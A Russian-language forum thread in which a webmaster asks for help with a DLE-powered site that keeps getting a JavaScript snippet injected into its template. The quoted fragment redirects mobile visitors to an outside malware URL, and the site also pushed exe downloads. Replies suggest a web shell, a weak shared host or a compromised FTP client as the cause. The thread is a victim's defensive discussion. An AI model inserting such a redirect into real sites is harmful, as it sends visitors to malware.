[bridge]

В течении уже доброго месяца регулярно на сайте (и в его смартверсии) появляется в хтмл-шаблоне сайта жава-скрипт такого типа: -if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){ window.location = "http://httpupd.com/s/4676" (кусок кода).При открытии самого сайта автоматически скачивался на компьютер пользователя файл exe, сейчас после запрета на такого типа файлы не скачивается, однако регулярно продолжают вживлять скрипт в тело сайта.

Сайт на ДЛЕ. Обновления движка и смена кода к фтп не принесли пользы.
Посоветуйте что-то.

[OKyJIucT]

Могу помочь, обращайтесь в скайп или асю. Потребуется доступ к ФТП и/или к админке сайта

[Orcstation]

Кто минусанул стартпост? Хотите чтобы вас тоже заминусовали, если у вас проблема появится?

[milanfan1993]

У меня сайт на WP и такя же проблема была. После удаления вируса кстати, все страницы кроме главной стали не открываться

[MacLeo]

Комментарий модератора: MacLeo

1. Ребят, уже не раз говорилось что все необоснованные минусы будут наказываться. За автором минуса буду следить, если увижу еще такую деятельность - накажу.
   
   ТС, проблема с DLE, значит Вам в раздел DLE, на будущее. Перенес.

[bridge]

OKyJIucT,Cпасибо за отзывчивость. Хотелось просто докопаться самостоятельно (как-никак это своего рода урок). На античате есть тема про взлом ДЛЕ, симптомы больно схожи с моими.
Вроде пока после смены пасов админского ника и журналистских тихо уже три дня.
Надеюсь, помогло..

[HeavyHell]

вариант 1 - вебшел на хосте
вариант 2 - не совсем граммотно настроеный хост, и к примеру соседи по серваку влегкую получают доступ

[orange-tvv]

bridge, какой прогой фтп пользуетесь?
у меня в начале года каждые 2 месяца на сайтах были вирусы.
вычищал, обновлял, ставил заплатки.
сменил прогу и соответственно пароли, прекратилось все это.
хотя до смены проги сколько не менял пароли и не сохранял, все время ползли.